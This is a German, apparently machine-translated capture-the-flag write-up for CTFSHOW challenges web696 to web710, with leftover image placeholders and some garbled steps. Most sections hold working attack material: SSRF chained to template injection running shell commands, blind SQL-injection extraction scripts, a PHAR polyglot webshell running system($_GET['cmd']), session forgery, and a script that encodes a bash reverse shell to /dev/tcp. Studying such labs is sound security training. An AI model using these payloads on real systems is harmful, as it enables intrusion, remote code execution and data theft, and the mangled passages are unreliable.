Originaltitel des CTFSHOW-Wettbewerbs (web696-web710)

Da es viele Themen gibt, so viele Stellen relativ kurz geschrieben sind, hoffe ich, dass die Meister verstehen, und ich wünsche Ihnen allen, dass Sie stärker werden!

web696

Herunterladen des Quellcodes ist ein Django-Framework.
Der Verwendungspunkt in web1 ist offensichtlich, es gibt ein ssrf
Bildbeschreibung hier einfügen
und es gibt eine ssti-Vorlageninjektion in der app.py von web2,
Bildbeschreibung hier einfügen
also ist unser Ziel, über web1 auf web2 zuzugreifen und schließlich den Zweck von rce über ssti zu erreichen.
Wenn wir in web1 ssrf verwenden möchten, müssen wir zuerst das Token erhalten, das heißt, wir müssen uns mit admin anmelden.
Bildbeschreibung hier einfügen
Der erste Schritt, den wir tun müssen, ist also, einen Admin-Benutzer vorzutäuschen. Nachdem ein Admin in Django erstellt wurde, wird die Datenbank durch is_superuser identifiziert. Ein Wert von 1 steht für den Administrator.
Die Benutzerregistrierung soll die gesamten Datendaten in die Datenbank schreiben.
Bildbeschreibung hier einfügen
So können wir bei der Registrierung einen is_superuser-Parameter hinzufügen Um auf alle Admin-Seiten zugreifen zu können, müssen wir einen is_staff-Parameter hinzufügen
Bildbeschreibung hier einfügen

erster Schritt:

POST:
http://bd2702c0-2cb5-4a00-8320-206e36106a47.challenge.ctf.show/reg/

{"username":"zzx","password":"abc","is_superuser":1,"is_staff":1}

Bildbeschreibung hier einfügen
Nachdem die Registrierung erfolgreich war und Sie sich im Hintergrund anmelden, können Sie den Wert des Tokens sehen.
Bildbeschreibung hier einfügen
In der Caculator-Route von web2 müssen wir den Wert von post übergeben, und die Flask_rpc-Funktion in web1 kann uns zuallererst dabei helfen.
Bildbeschreibung hier einfügen
Bildbeschreibung hier einfügen
Schauen Sie sich die Idee an
. Greifen Sie über die ssrf im Home auf den rpc zu und greifen Sie dann über die ssrf im rpc auf die Caculator-Route auf einem anderen Server zu. Der
allgemeine json lautet wie folgt


/home

{"url":"http://127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=xxxx","token":"994f639af3c57121cb756fd0bd126478"}

Das xxx ist die Base64 des json mit ssti-Inhalt, den wir übergeben möchten.
num1 und num2 sind nutzlos, da der Inhalt auf Zahlen beschränkt ist. Es dürfen nur Symbole verwendet werden.
Konstruieren Sie also den JSON-String

{"num1":"1","num2":"1","symbols","{
   
   {x.__init__.__globals__['__builtins__'].eval('__import__(\"os\").popen(\"cat /flag\").read()')}}-"}

Der letzte - ist, das Filtern von Symbolen zu umgehen,
Bildbeschreibung hier einfügen
aber es gibt andere Einschränkungen für unsere Payload im Titel,
Bildbeschreibung hier einfügen
aber das ist ein kleines Problem, weil wir es durch json leiten, sodass es durch Unicode-Codierung umgangen werden kann.

{"symbols":"\u007b\u007bx.__init__.__globals__['__builtins__'].eval('__import__(\"os\").popen(\"cat /flag\").read()')\u007d\u007d-","num1":"1","num2":"2"}

Base64 diese Zeichenfolge und übergeben Sie sie an die vorherigen Daten. Die
endgültige Nutzlast und das Token müssen von Ihnen geändert werden

/home

{"url":"http://127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=eyJzeW1ib2xzIjoiXHUwMDdiXHUwMDdieC5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10uZXZhbCgnX19pbXBvcnRfXyhcIm9zXCIpLnBvcGVuKFwiY2F0IC9mbGFnXCIpLnJlYWQoKScpXHUwMDdkXHUwMDdkLSIsIm51bTEiOiIxIiwibnVtMiI6IjIifQ==","token":"994f639af3c57121cb756fd0bd126478"}

Einige Schüler fragen sich vielleicht, woher der Port kam, aber es ist eigentlich eine Vermutung oder es kann gesprengt werden.
Wie kam dann die ssti-Payload?Für Details können Sie die vorherigen ssti-Artikel und ssti-Artikel für Fortgeschrittene lesen

web697

Wenn wir die Seite betreten, werden wir aufgefordert, den Parameter NOHO einzugeben
Bildbeschreibung hier einfügen
und es ein paar Mal zu versuchen, und es wird angezeigt, dass es zu groß oder zu klein ist.
Obwohl ich den Code nicht sehen kann, kann ich vermuten, dass er mit einer Funktion wie strcmp verglichen werden kann, wobei größer als eine positive ganze Zahl zurückgibt, kleiner als eine negative ganze Zahl zurückgibt, gleich 0 zurückgibt.
Also stellen wir entweder fest, dass die Anzahl der Commits gleich der Anzahl ist, die im Code verglichen werden soll. Entweder umgehen Sie den Vergleich.
Man kann sich leicht vorstellen, Arrays zu verwenden. Wenn wir ein Array übergeben, ist der zurückgegebene Wert NULL. Jedenfalls sind mehrere Teile positive Ganzzahlen, keine negativen Ganzzahlen, und sie sind schwach gleich 0. Nach einem Versuch funktioniert es.
?NOHO[]=
Der zweite Schritt unten ist ein Feld zum Ausfüllen des Passworts. Nachdem Sie eine Zahl eingegeben haben, gibt die Seite die spezifische Abfrageanweisung
Bildbeschreibung hier einfügen
mit verstümmelten Zeichen zurück. Es kann durch eine Art Verschlüsselung verschlüsselt sein. Wenn es die gebräuchlichste md5-Verschlüsselung ist, können wir das umgehen. . Es gibt die folgenden Zeichenfolgen, und die Hexadezimalzahl nach der md5-Verschlüsselung hat ihre eigenen einfachen Anführungszeichen.

ffifdyop
e58
4611686052576742364

Da wir nur Zahlen weitergeben können, wählen wir4611686052576742364
Bildbeschreibung hier einfügen

web698

Referenzartikel https://blog.csdn.net/zz_Caleb/article/details/85082561
Die Grube ist, dass die Länge dieses secret_key einzeln ausprobiert werden muss und die tatsächliche Länge 10
sprachlos ist. . . . .
Bildbeschreibung hier einfügen

web699

Ich habe den Gruppenbesitzer gefragt und es stimmt, dass es ein Problem mit dem Thema gibt. Wenn es kein Problem gibt, kann das folgende Skript ablaufen.
https://tyskill.github.io/posts/i-soon2020/

import requests
# 八进制
n = dict()
n[0] = '${#}'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}${#}${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}${#}))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f = ''

def str_to_oct(cmd):                                #命令转换成八进制字符串
    s = ""
    for t in cmd:
        o = ('%s' % (oct(ord(t))))[2:]
        s+='\\'+o   
    return s

def build(cmd):                                     #八进制字符串转换成字符
    payload = "$0<<<$0\<\<\<\$\\\'"                 #${!#}与$0等效
    s = str_to_oct(cmd).split('\\')
    for _ in s[1:]:
        payload+="\\\\"
        for i in _:
            payload+=n[int(i)]
    return payload+'\\\''

# def get_flag(url,payload):                          #盲注函数
#     try:
#         data = {'cmd':payload}
#         r = requests.post(url,data,timeout=1.5)
#     except:
#         return True
#     return False

# 弹shell
print(build('bash -i >& /dev/tcp/IP/port 0>&1'))

#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
#     for j in a:
#         cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
#         url = "http://ip/"
#         if get_flag(url,build(cmd)):
#             break
#     f = f+j
#     print(f)

web700

https://xz.aliyun.com/t/6911
https://blog.csdn.net/a3320315/article/details/104071188
Bezog sich auf zwei Artikel, wurde aber nicht reproduziert. . . .

web701

Referenzartikelhttps://gist.github.com/stypr/9219055eaaf39bc1c3cdd694755d9295

1337 === Number(String(Number(1)).concat(3).concat(3).concat(7))

constructor.length.constructor =[Function: Number]
constructor.name.constructor = [Function: String]
constructor.constructor.length = 1
console.dir.name.length => "dir".length = 3
console.context.name.length => "context".length = 7

Nutzlast:

constructor.length.constructor(constructor.name.constructor(constructor.constructor.length).concat(console.dir.name.length).concat(console.dir.name.length).concat(console.context.name.length))

web702

Besuchen Sie www.zip, um den Quellcode zu erhalten.
Werfen wir zunächst einen Blick auf die Exploit-Punkte, von denen die meisten nichts anderes sind als Befehlsausführung, Dateieinschluss, Datei-Upload und Injektion. . .
Dieses Thema hat einen Datei-Upload-Punkt, aber das endgültige Dateinamensuffix ist festgelegt. Es ist also schwer, aus dem Erfolg Kapital zu schlagen.
Allerdings gibt es auch ein include in index.php,
Bildbeschreibung hier einfügen
das erste include entzieht sich unserer Kontrolle, als nächstes müssen wir untersuchen, ob das zweite include steuerbar ist.
Bildbeschreibung hier einfügen
Der Inhalt von include bezieht sich auf Daten. Sehen wir uns an, wie die Daten herkommen.
Bildbeschreibung hier einfügen
In Bezug auf Cookies können wir ein Bild hochladen, das die Bedingungen erfüllt, und die Änderungen von Cookies sehen.
Wenn wir erfolgreich hochladen, wird eine Sitzung zurückgegeben.Dieses
Bildbeschreibung hier einfügen
Cookie besteht aus zwei Teilen.
Bildbeschreibung hier einfügen
Vor dem Punkt steht die Base64 des JSON-Strings, gefolgt von seiner Signatur.
Dann entschlüsseln wir den Teil vor dem Punkt im zurückgegebenen Cookie und erhalten den folgenden Inhalt.

{"name":"asd_asd","avatar":"8c97baff.png","flash":{"type":"info","message":"Your avatar has been successfully updated!"}}

Können wir also eine Themenvariable hinzufügen?
Hier gibt es ein weiteres Problem: Die Signatur nach dem Punkt wird vom vorherigen json-String generiert, also müssen wir eine Signatur fälschen. Das ist eigentlich sehr schwierig, aber zum Glück gibt es ein Problem mit der Funktion, die die Signatur generiert.
Bildbeschreibung hier einfügen
Bildbeschreibung hier einfügen
Das heißt, wenn unsere JSON-Zeichenfolge 72 überschreitet, wird sie ignoriert. Und die Länge des JSON-Strings, den wir gerade hatten, ist 121. Wenn wir also später etwas hinzufügen, ist die Signatur dieselbe.
Der letzte ist, wie man dieses Include verwendet.
Wir können eine Datei mit einem CSS-Suffix einschließen, aber wir können keine Datei mit einem CSS-Suffix hochladen.
Zu diesem Zeitpunkt ist phar eine gute Wahl.

<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

Wir komprimieren exp.css in eine Phar-Datei und fügen einen PNG-Datei-Header hinzu, um die Validierung zu umgehen.
Wenn der Wert in include include("phar://uploads/xxx.png/exp.css") ist, wird der Inhalt von exp.css in getshell eingeschlossen.
Schritte zur Problemlösung:
1. Laden Sie die oben generierte phar-Datei hoch.
2. Entschlüsseln Sie die zurückgegebene Sitzung
. 3. Erstellen Sie eine JSON-Zeichenfolge. {"name":"asd_asd","avatar":"8c97baff.png","flash":{"type":"info","message":"Your avatar has been successfully updated!"},"theme":"phar://uploads/8c97baff.png/exp"}
4. Verwenden Sie die Methode urlsafe_base64_encode in index.php für die Basiscodierung
. 5. Verbinden Sie die erhaltene base64-Zeichenfolge mit der Signatur durch Punkte
. 6. Übergeben Sie ?cmd=cat /f* get flag
Bildbeschreibung hier einfügen

web703

Dies hat den Quellcode , den Extraktionscode: 7j3t
Der Zweck des Themas ist sehr klar, fälschen Sie einen Administratorbenutzer und besuchen Sie dann ?page=flag, um das Flag zu erhalten.
Die Schlüsselseite befindet sich in export.php.
Bildbeschreibung hier einfügen
Wir können eine Datei erstellen und ihr einige Zeichen hinzufügen. Zufälligerweise ist der Speicherpfad der Sitzungsdatei derselbe wie der Pfad der von uns generierten Datei. Können wir also eine Sitzungsdatei erstellen, um den Wert von admin darin zu ändern? Die Antwort ist ja.
Bildbeschreibung hier einfügen
Aber es gibt ein Problem, die Sitzungsdatei ist im Allgemeinen sess_PHPSESSID, was keinen Punkt zulässt, und der Dateiname wird mit einem Punkt generiert. Bildbeschreibung hier einfügen
Glücklicherweise gibt es später eine Ersetzung, ..die es durch nichts ersetzt, und der Wert von type ist unter unserer Kontrolle,
sodass wir nur einen Wert an type übergeben müssen ..
Die standardmäßige Session-Deserialisierungsmethode in PHP ist php, die |jedes serialisierte Zeichen trennt,
sodass wir |N;admin|b:1;einen Problemlösungsschritt konstruieren können $_SESSION['admin']=true
, indem wir Folgendes schreiben:
1. Verwenden Sie sess_, um sich
anzumelden 1;
3. Besuchen Sie export.php?type=., um die Sitzungsdatei zu generieren und herunterzuladen.
4. Ändern Sie den PHPSESSID-Wert im Cookie auf den Inhalt hinter dem Unterstrich der heruntergeladenen Datei.
Bildbeschreibung hier einfügen

web704


Die Nutzlast kann mithilfe der Unicode-Codierung im json-String umgangen werden :

?source=1 

{"page":"\u0070hp://filter/read=convert.base64-encode/resource=/\u0066lag"}

web705

Schauen Sie sich einfach den Referenzartikel an , es ist zu schwierig. . . . .

# coding: utf-8
import binascii
import requests

URL = 'http://c9bcbc2b-3d52-4a55-aa42-695f48805ef6.challenge.ctf.show/vote.php'

l = 0
i = 0
for j in range(16):
    r = requests.post(URL, data={
    
    
        'id': f'abs(case(length(hex((select(flag)from(flag))))&{1 << j})when(0)then(0)else(0x8000000000000000)end)'
    })
    if b'An error occurred' in r.content:
        l |= 1 << j
print('[+] length:', l)

table = {
    
    }
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'

res = binascii.hexlify(b'ctfshow{').decode().upper()
for i in range(len(res), l):
    for x in '0123456789ABCDEF':
        t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
        r = requests.post(URL, data={
    
    
            'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
        })
        if b'An error occurred' in r.content:
            res += x
            break
    print(f'[+] flag ({i}/{l}): {res}')
    i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

web706

Wenn Sie maschinelles Lernen sehen, lassen Sie es sein. . .

web707

Bildbeschreibung hier einfügen
Base64 entschlüsselt das Cookie und modifiziert dann das Geld im Cookie.
Direktkauf gibt die Flagge. . . . . .

web708

Ob das wp- https://ctftime.org/writeup/17495
Skript https://github.com/wat3vr/watevrCTF-2019/blob/master/challenges/web/jungle/solve.py
auslaufen kann oder nicht, hängt vom Schicksal ab.

web709

Sie müssen zuerst index.php lesen, dann die Seite abrufen, auf der sich das Flag befindet, und dann die Seite lesen.
Das Skript ist schlecht geschrieben, kaum eine Flagge zu sehen.

import requests  
url="http://54f76ee9-05e1-4b90-b002-411ce0cd05a9.challenge.ctf.show/index.php?search="
#读文件 /var/www/html/index.php
# for i in range(1,500):
#     u=url+"extractvalue(0x3c,concat(0x7e,(select substr(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870),{0},20))))".format(i)
#     r=requests.get(u)
#     print(r.text)

# 读文件/var/www/html/ctfshowflagyouneverknow.php
for i in range(1,500):
    u=url+"extractvalue(0x3c,concat(0x7e,(select substr(load_file(0x2f7661722f7777772f68746d6c2f63746673686f77666c6167796f756e657665726b6e6f772e706870),{0},20))))".format(i)
    r=requests.get(u)
    print(r.text)

web710

hackbar ein Shuttle
Bildbeschreibung hier einfügen
?name={ {config.__class__.__init__.__globals__['os'].popen('cat f*').read()}}

Ich denke du magst

Origin blog.csdn.net/miuzzx/article/details/123064086
Empfohlen
Rangfolge